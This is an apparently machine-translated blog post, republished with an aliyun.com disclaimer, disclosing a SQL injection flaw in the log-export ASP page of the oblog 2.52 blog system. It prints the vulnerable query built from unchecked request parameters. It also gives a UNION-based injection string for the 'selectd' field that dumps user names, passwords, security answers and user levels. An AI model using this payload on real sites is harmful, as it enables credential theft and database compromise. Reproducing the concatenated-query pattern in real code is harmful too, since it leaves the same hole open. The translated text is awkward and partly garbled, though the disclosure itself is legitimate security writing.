Yesterday, I downloaded the latest blog system from the oblog official website. The version is 2.52.
I saw a friend on qq discussing the idea of intrusion into the help. asp file,
The article can be found here,
After that, I successfully registered a user and browsed it,
It is better to have a log export function in the background,
In this way, you can avoid the problem that the blog site is closed, and the articles you have worked hard to write cannot be saved.
The csdn blog does not have the log export function, so I also specially wrote a small program,
However, the asp file for log export has the SQL injection vulnerability,
I used to export my own articles,
In this way, any data in the database can be exported at will,
Directly endangering the security of the entire blog system.
The main SQL code is as follows:
Sdate = request ("selecty") & "-" & request ("selectm") & "-" & request ("selectd ")
Edate = request ("selectey") & "-" & request ("selectem") & "-" & request ("selected ")
SQL = "select topic, addtime, logtext from blog where username = '" & username & "' and addtime <= #" & edate & "# and
Addtime >=# "& sdate &"#"
As you can see, all client data is directly used without being checked,
Naturally there will be problems,
No matter what the situation is, the client data cannot be easily believed.
Then, we construct such an input.
"Selectd = 22 # and 1 = 2 union select username, answer, userlevel from [user] union select topic, addtime, logtext from blog
Where addtime <= #1900-1-1"
The entire SQL statement is changed:
Select topic, addtime, logtext from blog where username = 'ciqinqiqiang 'and addtime <= #2007-2-22 # and addtime> = #2000-2-22 # and
1 = 2
Union select username, answer, userlevel from [user]
Union select topic, addtime, logtext from blog where addtime <= #1900-1-1 #
In this way, you can output all user names, user passwords, and prompt answers and user levels.
Of course, you can also get anything in the database, as long as you change the SQL statement properly.
This article is an English version of an article which is originally in the Chinese language on aliyun.com and is provided for information purposes only. This website makes no representation or warranty of any kind, either expressed or implied, as to the accuracy, completeness ownership or
reliability of the article or any translations thereof. If you have any concerns or complaints relating to the article, please send an email, providing a detailed description of the concern or
complaint, to email@example.com. A staff member will contact you within 5 working days. Once verified, infringing content will be removed immediately.
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
and provide relevant evidence. A staff member will contact you within 5 working days.